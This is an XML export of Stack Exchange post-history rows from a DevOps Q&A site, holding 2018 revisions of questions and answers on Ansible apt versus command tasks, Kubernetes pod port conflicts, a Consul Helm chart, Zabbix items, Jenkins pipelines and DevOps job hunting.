  <row Id="18501" PostHistoryTypeId="6" PostId="5648" RevisionGUID="602dc56f-7413-4411-856f-a82a79d67752" CreationDate="2018-12-18T20:47:20.997" UserId="739" Comment="add learning tag" Text="&lt;ansible&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18502" PostHistoryTypeId="5" PostId="2519" RevisionGUID="22dcb1e5-b168-404c-9607-16b1ddbdfeb0" CreationDate="2018-12-18T20:50:02.733" UserId="739" Comment="code formatting for variable name" Text="What are the strings to set to `KUBE_SERVICE_ADDRESSES` and their meanings? Which documentation or GitHub repo to look into to understand?&#xD;&#xA;&#xD;&#xA;Background: I have seen a few strings but not sure what these strings mean. Such as:&#xD;&#xA;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--portal_net=10.254.0.0/16&quot;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18503" PostHistoryTypeId="5" PostId="5658" RevisionGUID="36e3eb3d-5561-48a7-be64-36c4f5bf9f0d" CreationDate="2018-12-18T20:56:48.043" UserId="228" Comment="Reformulating the question to fix grammar and make it clear what is being asked." Text="Consider these YAML code pieces which are two different parts of some Ansible playbook [I found online][1]:&#xD;&#xA;&#xD;&#xA;    - name: update the apt package index i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;    - name: Ensure some basics&#xD;&#xA;      command: apt-get upgrade unattended-upgrades sshguard curl wget git zip unzip tree mc -y&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;What is the difference between  `apt: update_cache=yes` and `command: apt-get -y install aptitude`? In other words, why aren't both done using an `apt` ansible module?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18504" PostHistoryTypeId="5" PostId="5684" RevisionGUID="f1a5045b-e00f-4f4d-8c30-aac66b36d2fc" CreationDate="2018-12-18T21:22:52.870" UserId="228" Comment="added 352 characters in body" Text="&gt; TL;DR: Ansible modules like `apt` can be mostly implemented with&#xD;&#xA;&gt; `command` module and plenty of error checking tasks.&#xD;&#xA;&#xD;&#xA;To answer this question it is best to look at the [code implementing the apt module][1] in ansible. What you can see is that most of the features of the module are implemented by constructing an appropriate `apt-get` command and executing it, then handling error conditions and presenting them in ansible data structures. Sometimes depending on options the command can be quite complex. In two exceptions for upgrade, in case it is *full-upgrade* or *safe-upgrade* it would use `aptitude` command instead of `apt-get`. &#xD;&#xA;&#xD;&#xA;Of course, the implementation of the module can change going forward, but you should be able to rely on it doing essentially the same thing. On the other hand, if `apt-get` changes in some way or returns new unhandled type of errors, you will need to change your ansible code in case you use `command` module directly. While if you use `apt` module, it is likely the maintainer of the module will implement the new error checking for you.&#xD;&#xA;&#xD;&#xA;So in general it is better to use `apt` to `command: apt-get` unless the module won't do something that you absolutely need to do and there is no other way around it.&#xD;&#xA;&#xD;&#xA;To do the 2nd task in ansible using apt module do:&#xD;&#xA;&#xD;&#xA;    - name: Ensure some basics&#xD;&#xA;      apt:&#xD;&#xA;        name: &quot;{{ packages }}&quot;&#xD;&#xA;        only_upgrade: yes&#xD;&#xA;      vars:&#xD;&#xA;        packages:&#xD;&#xA;        - unattended-upgrades &#xD;&#xA;        - sshguard &#xD;&#xA;        - curl &#xD;&#xA;        - wget&#xD;&#xA;        - git &#xD;&#xA;        - zip &#xD;&#xA;        - unzip&#xD;&#xA;        - tree&#xD;&#xA;        - mc&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible-modules-core/blob/devel/packaging/os/apt.py" ContentLicense="CC BY-SA 4.0" />
  <row Id="18505" PostHistoryTypeId="5" PostId="5658" RevisionGUID="ecade512-bcdf-44d1-a657-cd97a798c654" CreationDate="2018-12-18T21:24:44.063" UserDisplayName="user5176" Comment="added 36 characters in body" Text="Consider these YAML tasks which are based on two different parts of some locally-executed Ansible playbook [I read here][1]:&#xD;&#xA;&#xD;&#xA;    - name: Update the apt package-index cache i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;    - name: Ensure aptitude is installed&#xD;&#xA;      command: apt-get install aptitude&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;Why did the OP used both `apt: update_cache=yes` and `command: apt-get install -y` instead using the `apt` module in both tasks?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Note: I myself no longer use `apt-get` but `apt` even in regular Bash scripting.&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18506" PostHistoryTypeId="2" PostId="5782" RevisionGUID="35dce4d4-2be9-43d3-abb3-4988faf8b39f" CreationDate="2018-12-18T22:01:44.183" UserId="11191" Text="Where do DevOp Engineers find their next opportunity? Users Groups, Associations, Job Boards?&#xD;&#xA;&#xD;&#xA;What do DevOps look for in their next role?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18507" PostHistoryTypeId="1" PostId="5782" RevisionGUID="35dce4d4-2be9-43d3-abb3-4988faf8b39f" CreationDate="2018-12-18T22:01:44.183" UserId="11191" Text="DevOps - Where to Find" ContentLicense="CC BY-SA 4.0" />
  <row Id="18508" PostHistoryTypeId="3" PostId="5782" RevisionGUID="35dce4d4-2be9-43d3-abb3-4988faf8b39f" CreationDate="2018-12-18T22:01:44.183" UserId="11191" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18509" PostHistoryTypeId="2" PostId="5783" RevisionGUID="838a246c-86ae-41cc-8af8-4e05a1194caf" CreationDate="2018-12-18T22:19:41.247" UserId="4175" Text="Companies either have straight-away openings for DevOps Engineers, either under this specific title or (since the title is a bit misplaced if you really think about what it means in the opinion of some people); or you can look for positions that have some other title but mention DevOps and similar things (for example, &quot;automation&quot;, &quot;tooling&quot;, &quot;CI/CD&quot; etc.) in the description.&#xD;&#xA;&#xD;&#xA;Or in other words - they find jobs the same way everybody else does. It's not *that* magical of a job description...&#xD;&#xA;&#xD;&#xA;What they look for, in my experience from plenty of interviews, is simply working with all the tooling/automation we have these days, and most times with a focus on doing as little straightaway programming as possible (i.e., programming in the non-DevOps way; domain-based programming). This separates them mainly from developers who *also* can do the &quot;DevOps&quot; stuff." ContentLicense="CC BY-SA 4.0" />
  <row Id="18513" PostHistoryTypeId="50" PostId="3066" RevisionGUID="833c40e9-af6a-4d63-81b2-a382fdba7563" CreationDate="2018-12-18T23:03:00.620" UserId="-1" />
  <row Id="18514" PostHistoryTypeId="2" PostId="5785" RevisionGUID="40ebbc1c-2cdf-4d04-b305-f08fbc41ebbe" CreationDate="2018-12-19T00:31:42.410" UserId="7411" Text="I am not sure what mapping in YAMl file means, can someone advise what does mapping in YAML&#xA; file means?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18515" PostHistoryTypeId="1" PostId="5785" RevisionGUID="40ebbc1c-2cdf-4d04-b305-f08fbc41ebbe" CreationDate="2018-12-19T00:31:42.410" UserId="7411" Text="What does mapping in yml file means?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18516" PostHistoryTypeId="3" PostId="5785" RevisionGUID="40ebbc1c-2cdf-4d04-b305-f08fbc41ebbe" CreationDate="2018-12-19T00:31:42.410" UserId="7411" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18517" PostHistoryTypeId="2" PostId="5786" RevisionGUID="9d2510f1-8f9e-4c51-a8de-ce53a3a7ff4a" CreationDate="2018-12-19T03:46:03.600" UserId="4637" Text="I am not able to run both **apache (httpd)** and **nginx** in the same pod. Indeed both containers are running on port 80.&#xD;&#xA;&#xD;&#xA;    # kubectl logs -f multi-container -c apache&#xD;&#xA;    (98)Address in use: AH00072: make_sock: could not bind to address [::]:80&#xD;&#xA;&#xD;&#xA;I visited the home page of nginx in dockerhub and I noticed the environment variable `NGINX_PORT`, I set it to `81` and I changed `containerPort` to 81 as well. Even though, the nginx is still running on port 80.&#xD;&#xA;&#xD;&#xA;    # kubectl exec -it multi-container -c nginx -- wget -O- localhost:81&#xD;&#xA;    Connecting to localhost:81 (127.0.0.1:81)&#xD;&#xA;    wget: can't connect to remote host (127.0.0.1): Connection refused&#xD;&#xA;    command terminated with exit code 1 &#xD;&#xA;&#xD;&#xA;This my pod definition: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        run: multi-container&#xD;&#xA;      name: multi-container&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: nginx:alpine&#xD;&#xA;        name: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - containerPort: 81&#xD;&#xA;        env:&#xD;&#xA;          - name: NGINX_PORT&#xD;&#xA;            value: &quot;81&quot;&#xD;&#xA;    &#xD;&#xA;      - image: httpd:alpine&#xD;&#xA;        name: apache&#xD;&#xA;        ports:&#xD;&#xA;          - containerPort: 80&#xD;&#xA;      dnsPolicy: ClusterFirst&#xD;&#xA;      restartPolicy: Always&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Without making nginx as reverse proxy to httpd, how to make two containers running separately on different ports. Should I customize its images and build new ones?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18518" PostHistoryTypeId="1" PostId="5786" RevisionGUID="9d2510f1-8f9e-4c51-a8de-ce53a3a7ff4a" CreationDate="2018-12-19T03:46:03.600" UserId="4637" Text="running httpd and nginx in the same pod kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="18519" PostHistoryTypeId="3" PostId="5786" RevisionGUID="9d2510f1-8f9e-4c51-a8de-ce53a3a7ff4a" CreationDate="2018-12-19T03:46:03.600" UserId="4637" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18520" PostHistoryTypeId="5" PostId="5786" RevisionGUID="a8fc6268-dc04-4faf-be7b-a4577d0888c4" CreationDate="2018-12-19T03:53:00.850" UserId="4637" Comment="deleted 9 characters in body" Text="I am not able to run both **apache (httpd)** and **nginx** in the same pod. Indeed both containers are running on port 80.&#xD;&#xA;&#xD;&#xA;    # kubectl logs -f multi-container -c apache&#xD;&#xA;    (98)Address in use: AH00072: make_sock: could not bind to address [::]:80&#xD;&#xA;&#xD;&#xA;I visited the home page of nginx in dockerhub and I noticed the environment variable `NGINX_PORT`, I set it to `81` and I changed `containerPort` to 81 as well. Even though, the nginx is still running on port 80.&#xD;&#xA;&#xD;&#xA;    # kubectl exec -it multi-container -c nginx -- nc -zv localhost 80&#xD;&#xA;    localhost (127.0.0.1:80) open&#xD;&#xA;    &#xD;&#xA;    # kubectl exec -it multi-container -c nginx -- nc -zv localhost 81&#xD;&#xA;    command terminated with exit code 1&#xD;&#xA;&#xD;&#xA;In addition, the env variable inside the container is correct: &#xD;&#xA;&#xD;&#xA;    # kubectl exec -it multi-container -c nginx -- env | grep NGINX_PORT=&#xD;&#xA;    &#xD;&#xA;    NGINX_PORT=81&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This my pod definition: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        run: multi-container&#xD;&#xA;      name: multi-container&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - image: nginx:alpine&#xD;&#xA;        name: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - containerPort: 81&#xD;&#xA;        env:&#xD;&#xA;          - name: NGINX_PORT&#xD;&#xA;            value: &quot;81&quot;&#xD;&#xA;    &#xD;&#xA;      - image: httpd:alpine&#xD;&#xA;        name: apache&#xD;&#xA;        ports:&#xD;&#xA;          - containerPort: 80&#xD;&#xA;      dnsPolicy: ClusterFirst&#xD;&#xA;      restartPolicy: Always&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Without making nginx as reverse proxy to httpd, how to make two containers running separately on different ports. Should I customize its images and build new ones?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18521" PostHistoryTypeId="2" PostId="5787" RevisionGUID="6ad53d6c-ed46-42e5-872f-b678ec06081f" CreationDate="2018-12-19T04:06:56.580" UserId="11309" Text="Understand that the term **DevOps** refers to both a *Strategies* and *Tactics*.  &#xD;&#xA;For instance, the *strategies* of Continuous deployment and Consistent development/production environment.  &#xD;&#xA;The *tactics* may be using Kubernetics for deployment to the cluster with Docker for development/production environment.  &#xD;&#xA;With that said, a DevOps shop will likely use Kubernetics and Docker as their tactical tools and would look for people with those skillsets.&#xD;&#xA;&#xD;&#xA;**ALSO**, they would look for people who are a CULTURAL fit who would work well in a collaborative environment.  If your background is let's say operational and your not open to learning programming skills(or learn what the programmers need), don't take ownership of a project or work well in a team...you will **NOT** be a fit for the company (*you won't get hired*).&#xD;&#xA;&#xD;&#xA;As far as the best place to find a DevOps related job?&#xD;&#xA;  &#xD;&#xA;I would look at going to a DevOps [Meetup][1], go to trainings/seminars where DevOps tactics and tools are taught (i.e. Docker, Vagrant, Ansible, Kubernetics, etc.), look for certain keywords in the posts such as [SRE (Site Reliability Engineer)][2], Systems Automation, etc... and do some research on companies that are moving to or have [embraced DevOps Strategy][3].&#xD;&#xA;&#xD;&#xA;If you understand these things, I believe it will give you a great advantage at landing a job in one of those companies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://meetup.com/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Site_Reliability_Engineering&#xD;&#xA;  [3]: https://techbeacon.com/10-companies-killing-it-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="18522" PostHistoryTypeId="2" PostId="5788" RevisionGUID="f59a06f3-fdeb-4aa9-b6d9-77ff314cfe02" CreationDate="2018-12-19T04:58:21.227" UserId="10690" Text="YAML is a very simple, text/human-readable annotation format that can be used to store data.&#xD;&#xA;YAML keeps data stored as a map containing keys and values associated to those keys. This map is in no particular order, so you can reorder it at will. Each pair is in the format KEY: VALUE&#xD;&#xA;When the value is a text string enclose the value with quotes. Some examples below:&#xD;&#xA;&#xD;&#xA;    KEY1: 'HELLO'&#xD;&#xA;    HOST_NUMBER: 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18523" PostHistoryTypeId="5" PostId="5658" RevisionGUID="a3c1b8d9-dd24-4352-ab76-ed5dcc3a78ad" CreationDate="2018-12-19T05:03:25.273" UserId="40" Comment="deleted 1 character in body" Text="Consider these YAML tasks which are based on two different parts of some locally-executed Ansible playbook [I read here][1]:&#xD;&#xA;&#xD;&#xA;    - name: Update the apt package-index cache i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;    - name: Ensure aptitude is installed&#xD;&#xA;      command: apt-get install aptitude&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;Why did the OP use both `apt: update_cache=yes` and `command: apt-get install -y` instead using the `apt` module in both tasks?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Note: I myself no longer use `apt-get` but `apt` even in regular Bash scripting.&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18529" PostHistoryTypeId="5" PostId="1177" RevisionGUID="770fc194-344a-456d-b43f-e97673c6e389" CreationDate="2018-12-19T11:46:14.013" UserId="2789" Comment="recent zabbix versions have a new feature that applies here" Text="If your Zabbix agent is 2.2 or later, you could use [Zabbix agent item][1] `vfs.file.regexp` like so:&#xD;&#xA;&#xD;&#xA;    vfs.file.regexp[/proc/meminfo,^Dirty.*([0-9]+),,,,\1]&#xD;&#xA;&#xD;&#xA;If your Zabbix is 3.4 or later, you can use a [master item][2] to collect the data blob (perhaps with `vfs.file.contents`) and then extract and parse the desired values with [item value preprocessing][3].&#xD;&#xA;&#xD;&#xA;  [1]: https://www.zabbix.com/documentation/3.0/manual/config/items/itemtypes/zabbix_agent&#xD;&#xA;  [2]: https://www.zabbix.com/documentation/4.0/manual/config/items/itemtypes/dependent_items&#xD;&#xA;  [3]: https://www.zabbix.com/documentation/3.4/manual/config/items/item#item_value_preprocessing" ContentLicense="CC BY-SA 4.0" />
  <row Id="18530" PostHistoryTypeId="5" PostId="5732" RevisionGUID="88792121-885e-49bc-ae53-aa7d82fdf23f" CreationDate="2018-12-19T12:13:05.940" UserId="10846" Comment="added 159 characters in body" Text="I want to know that is there possibility to make DevOps generic, and not environment specific, so that can be used with any project with same cases OR we can cover common cases with one time code.&#xD;&#xA;Though language and environment changes but the logic remains same for most of the Test cases based on..&#xD;&#xA;&#xD;&#xA;I know every organization follows different methodology, I am assuming here that We will use one standard methodology and One standard Development culture.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. Run environment &#xD;&#xA; 2. Development Culture, etc.&#xD;&#xA;&#xD;&#xA;I want to achieve Common DevOps environment that can be used for any project for common cases. Only special cases need to be handled separately.&#xD;&#xA;&#xD;&#xA;Have anyone achieved this?&#xD;&#xA;&#xD;&#xA;I know this is little broad question, but we this is DevOps related only." ContentLicense="CC BY-SA 4.0" />
  <row Id="18531" PostHistoryTypeId="6" PostId="5732" RevisionGUID="3f9a6930-268b-4183-a326-032c8c62772b" CreationDate="2018-12-19T14:58:44.003" UserId="707" Comment="edited tags" Text="&lt;culture&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18532" PostHistoryTypeId="2" PostId="5790" RevisionGUID="0065a989-dcca-4a28-b006-30e48deddd4c" CreationDate="2018-12-19T15:56:42.170" UserId="620" Text="Below is my config that I am applying over the latest version of the chart (0.4.0).&#xD;&#xA;&#xD;&#xA;The consul client daemonset pods come up and successfully register with the cluster.&#xD;&#xA;The connect injector webhook deployment comes up and shows as running successfully. This the is pod startup log:&#xD;&#xA;&#xD;&#xA;&gt; Listening on &quot;:8080&quot;... Updated certificate bundle received. Updating&#xD;&#xA;&gt; certs...&#xD;&#xA;&gt;&#xD;&#xA;&gt; 10.42.0.1 - - [18/Dec/2018:20:36:26 +0000] &quot;GET /health/ready HTTP/2.0&quot; 204 0&#xD;&#xA;&#xD;&#xA;From then on, I tried some sample deployment using the annotation: &quot;consul.hashicorp.com/connect-inject&quot;: &quot;true&quot;&#xD;&#xA;This did not spin up any sidecar containers. Checking the injector pod, there were no messages that the deployment was even contacted.&#xD;&#xA;&#xD;&#xA;Initially I had issues with this in a cluster without RBAC. I removed the RBAC references from the chart and deployed; but had the issue above.&#xD;&#xA;I then setup/enabled RBAC on another cluster and the chart installed correctly. This did not work either even with the correct RBAC settings in place.&#xD;&#xA;&#xD;&#xA;I am using Vault as a certificate provider for Consul; checking both logs, I don't see any errors, and Consul is setup correctly as the provider.&#xD;&#xA;&#xD;&#xA;Does anybody have any ideas on what to check?&#xD;&#xA;&#xD;&#xA;This is my config:&#xD;&#xA;&#xD;&#xA;    global:&#xD;&#xA;      enabled: false&#xD;&#xA;      domain: consul&#xD;&#xA;      image: &quot;consul:1.4.0&quot;&#xD;&#xA;      imageK8S: &quot;hashicorp/consul-k8s:0.3.0&quot;&#xD;&#xA;      datacenter: dc1&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    client:&#xD;&#xA;      enabled: true&#xD;&#xA;      join: [&quot;provider=aws region=region tag_key=tag tag_value=tag&quot;]&#xD;&#xA;      grpc: true&#xD;&#xA;      extraConfig: |&#xD;&#xA;        {&#xD;&#xA;          &quot;enable_local_script_checks&quot;: true,&#xD;&#xA;          &quot;encrypt&quot;: &quot;key&quot;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    dns:&#xD;&#xA;      enabled: true&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    syncCatalog:&#xD;&#xA;      enabled: false&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    connectInject:&#xD;&#xA;      enabled: true&#xD;&#xA;      default: false&#xD;&#xA;      imageEnvoy: &quot;envoyproxy/envoy:v1.8.0&quot;&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="18533" PostHistoryTypeId="1" PostId="5790" RevisionGUID="0065a989-dcca-4a28-b006-30e48deddd4c" CreationDate="2018-12-19T15:56:42.170" UserId="620" Text="Consul Helm chart: Connect Injector service not working" ContentLicense="CC BY-SA 4.0" />
  <row Id="18534" PostHistoryTypeId="3" PostId="5790" RevisionGUID="0065a989-dcca-4a28-b006-30e48deddd4c" CreationDate="2018-12-19T15:56:42.170" UserId="620" Text="&lt;kubernetes&gt;&lt;consul&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18535" PostHistoryTypeId="50" PostId="5215" RevisionGUID="f9f9067b-7698-4cc9-b497-ae43fdc5f094" CreationDate="2018-12-19T17:03:55.727" UserId="-1" />
  <row Id="18536" PostHistoryTypeId="2" PostId="5791" RevisionGUID="8d6de0eb-eff8-4295-ae3d-dfa2eb2d76a6" CreationDate="2018-12-19T17:58:00.720" UserId="707" Text="It can happen that your next DevOps job finds *you* if you have a well elaborated LinkedIn profile and patient enough to deal with and filter/process requests.&#xD;&#xA;&#xD;&#xA;Though, my market observations are that many offerings are like:&#xD;&#xA;&#xD;&#xA;* DevOps Engineers seen as &quot;full stack developer 2.0&quot;, that is as an addon to specific developer skill set you can also setup automation pipelines and deploy to production.&#xD;&#xA;&#xD;&#xA;* DevOps Engineers seen as &quot;admin 2.0&quot; to build up automated operational infrastructures&#xD;&#xA;&#xD;&#xA;* DevOps Engineers seen as &quot;teams glue&quot; i.e. a company resource pool used to fire up slow/less successfull teams, here at least there is an understanding of how important beyond tech also culture/human communication is, too.&#xD;&#xA;&#xD;&#xA;* Sometimes you get also a weird skill set list where nobody really knows where it comes from and what exactly the role is expected to deliver. Buzz wording detected.&#xD;&#xA;&#xD;&#xA;Please consider also this post: [Why shouldn't I try to hire a 'DevOps Engineer'][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 4.0" />
  <row Id="18537" PostHistoryTypeId="4" PostId="5782" RevisionGUID="ae29e7de-231c-4b3d-bb8e-c571ccd080e1" CreationDate="2018-12-19T18:03:40.483" UserId="707" Comment="edited title" Text="Where would DevOps Engineers mostly look for their next opportunity and what would it be?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18538" PostHistoryTypeId="5" PostId="5684" RevisionGUID="f19ac42a-c77a-4d24-8ee8-7f0a649e3d02" CreationDate="2018-12-19T18:24:10.473" UserId="228" Comment="Editing to fit the changes to the question." Text="&gt; TL;DR: Ansible modules like `apt` can be mostly implemented with&#xD;&#xA;&gt; `command` module and plenty of error checking tasks.&#xD;&#xA;&#xD;&#xA;To answer this question it is best to look at the [code implementing the apt module][1] in ansible. What you can see is that most of the features of the module are implemented by constructing an appropriate `apt-get` command and executing it, then handling error conditions and presenting them in ansible data structures. Sometimes depending on options the command can be quite complex. In two exceptions for upgrade, in case it is *full-upgrade* or *safe-upgrade* it would use `aptitude` command instead of `apt-get`. &#xD;&#xA;&#xD;&#xA;Of course, the implementation of the module can change going forward, but you should be able to rely on it doing essentially the same thing. On the other hand, if `apt-get` changes in some way or returns new unhandled type of errors, you will need to change your ansible code in case you use `command` module directly. While if you use `apt` module, it is likely the maintainer of the module will implement the new error checking for you.&#xD;&#xA;&#xD;&#xA;So in general it is better to use `apt` to `command: apt-get` unless the module won't do something that you absolutely need to do and there is no other way around it.&#xD;&#xA;&#xD;&#xA;To do the 2nd task in ansible using apt module do:&#xD;&#xA;&#xD;&#xA;    - name: Ensure some basics&#xD;&#xA;      apt:&#xD;&#xA;        name: aptitude&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible-modules-core/blob/devel/packaging/os/apt.py" ContentLicense="CC BY-SA 4.0" />
  <row Id="18539" PostHistoryTypeId="5" PostId="5658" RevisionGUID="a43448cb-67ee-416d-ba17-1e37e0aababf" CreationDate="2018-12-19T18:26:07.270" UserId="228" Comment="added 3 characters in body" Text="Consider these YAML tasks which are based on two different parts of some locally-executed Ansible playbook [I read here][1]:&#xD;&#xA;&#xD;&#xA;    - name: Update the apt package-index cache i.e. apt-get update&#xD;&#xA;      apt: update_cache=yes&#xD;&#xA;&#xD;&#xA;    - name: Ensure aptitude is installed&#xD;&#xA;      command: apt-get install -y aptitude&#xD;&#xA;&#xD;&#xA;As an Ansible newbie, I recognize two different Ansible modules here: `apt` and `command`.&#xD;&#xA;&#xD;&#xA;Why did the OP use both `apt: update_cache=yes` and `command: apt-get install -y` instead using the `apt` module in both tasks?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Note: I myself no longer use `apt-get` but `apt` even in regular Bash scripting.&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.tricksofthetrades.net/2017/10/02/ansible-local-playbooks/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18540" PostHistoryTypeId="5" PostId="5684" RevisionGUID="6b19a33c-9c55-479c-9adb-84668dbd5e74" CreationDate="2018-12-19T18:30:01.853" UserId="228" Comment="Editing to fit the changes to the question." Text="&gt; TL;DR: Ansible modules like `apt` can be mostly implemented with&#xD;&#xA;&gt; `command` module, but you lose error checking. Using command is usually sign of a lack of experience with ansible.&#xD;&#xA;&#xD;&#xA;To answer this question it is best to look at the [code implementing the apt module][1] in ansible. What you can see is that most of the features of the module are implemented by constructing an appropriate `apt-get` command and executing it, then handling error conditions and presenting them in ansible data structures. Sometimes depending on options the command can be quite complex. In two exceptions for upgrade, in case it is *full-upgrade* or *safe-upgrade* it would use `aptitude` command instead of `apt-get`. &#xD;&#xA;&#xD;&#xA;Of course, the implementation of the module can change going forward, but you should be able to rely on it doing essentially the same thing. On the other hand, if `apt-get` changes in some way or returns new unhandled type of errors, you will need to change your ansible code in case you use `command` module directly. While if you use `apt` module, it is likely the maintainer of the module will implement the new error checking for you.&#xD;&#xA;&#xD;&#xA;So in general it is better to use `apt` to `command: apt-get` unless the module won't do something that you absolutely need to do and there is no other way around it.&#xD;&#xA;&#xD;&#xA;To do the 2nd task in ansible using apt module do:&#xD;&#xA;&#xD;&#xA;    - name: Ensure some basics&#xD;&#xA;      apt:&#xD;&#xA;        name: aptitude&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible-modules-core/blob/devel/packaging/os/apt.py" ContentLicense="CC BY-SA 4.0" />
  <row Id="18541" PostHistoryTypeId="10" PostId="5782" RevisionGUID="701f914f-f081-4408-bbdf-12d5e7f513f4" CreationDate="2018-12-19T18:37:32.427" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;}]}" />
  <row Id="18550" PostHistoryTypeId="2" PostId="5795" RevisionGUID="29a442df-d5cf-4b08-a9d2-da7a35cf0de1" CreationDate="2018-12-19T21:06:24.393" UserId="4369" Text="Weave Scope is an observability tool that provides a dashboard that shows all network connections between pods.&#xD;&#xA;&#xD;&#xA;https://github.com/weaveworks/scope" ContentLicense="CC BY-SA 4.0" />
  <row Id="18551" PostHistoryTypeId="5" PostId="5448" RevisionGUID="a326d488-3966-4381-ba0e-b1ab3733b20c" CreationDate="2018-12-19T21:45:09.707" UserId="10868" Comment="removed unnecessary `node { }` block" Text="This also works, if you want to stay within the `Declarative Pipeline` space&#xD;&#xA;&#xD;&#xA;    // declare our vars outside the pipeline&#xD;&#xA;    def tests = [:]&#xD;&#xA;    def files&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        // we've declared the variable, now we give it the values&#xD;&#xA;                        files = findFiles(glob: '**/html/*.html')&#xD;&#xA;                        // Loop through them&#xD;&#xA;                        files.each { f -&gt;&#xD;&#xA;                            // add each object from the 'files' loop to the 'tests' array&#xD;&#xA;                            tests[f] = {&#xD;&#xA;                                // we're already in the script{} block, so do our advanced stuff here&#xD;&#xA;                                echo f.toString()&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        // Still within the 'Script' block, run the parallel array object&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
